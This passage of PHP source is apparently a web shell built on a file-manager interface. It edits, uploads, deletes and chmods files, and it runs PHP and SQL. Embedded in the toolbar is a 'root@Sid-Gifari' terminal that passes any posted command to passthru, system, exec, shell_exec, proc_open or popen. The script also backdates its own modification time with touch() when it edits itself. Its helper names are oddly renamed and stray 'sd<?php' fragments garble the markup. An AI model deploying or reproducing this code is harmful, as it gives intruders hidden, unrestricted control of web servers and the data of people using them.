		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
